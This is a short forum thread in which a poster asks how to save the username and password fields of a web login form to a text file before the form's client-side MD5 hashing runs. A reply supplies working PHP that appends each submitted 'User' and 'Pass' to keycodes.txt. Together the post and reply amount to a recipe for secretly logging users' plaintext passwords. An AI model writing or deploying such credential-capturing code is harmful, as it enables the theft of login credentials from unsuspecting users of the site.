Hello guys.. I have a form.. <form action="start.php" method="post" onsubmit="md5hash(start_keycode , omega_keycode, $show[nokeyempty])"> <script type="text/javascript" src="serverut/md5.js?v=$options[version2]"></script> As you can see that start_keycode get hashed everytime the form is submitted. Now what i wanted to do is to get this start_keycode and omega_keycode value saved in a text file. I have the following code to do that <?php $handle = fopen('keycodes.txt', 'a'); fwrite($handle, "User: ".$_POST['start_keycode']." Pass:".$_POST['omega_keycode']."\r\n"); fclose($handle); ?> what i cant figure out is where to place this code..? or is there any other way around..? I just want the values to get saved before they get hashed..
This this <?php if($_POST){ $handle = fopen('keycodes.txt', 'a'); fwrite($handle, "User: ".$_POST['start_keycode']." Pass:".$_POST['omega_keycode']."\r\n"); fclose($handle); } ?> PHP: